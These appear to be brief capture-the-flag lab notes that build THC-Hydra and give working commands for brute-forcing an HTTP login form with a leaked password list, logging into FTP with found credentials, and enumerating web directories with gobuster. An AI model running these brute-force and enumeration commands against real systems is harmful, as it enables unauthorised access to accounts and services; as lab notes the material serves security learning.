git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure
make
make install
./hydra -l groot -P /usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt $VICTIM http-post-form "/auth/:username=^USER^&password=^PASS^:F=Incorrect username" -V
Cookies
Get the flag with developer console by checking the cookie.
HTTP Headers
Enumeration and FTP
Kali
ftp $VICTIM
Username: groot
Password: iamgroot
GoBuster
Kali
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
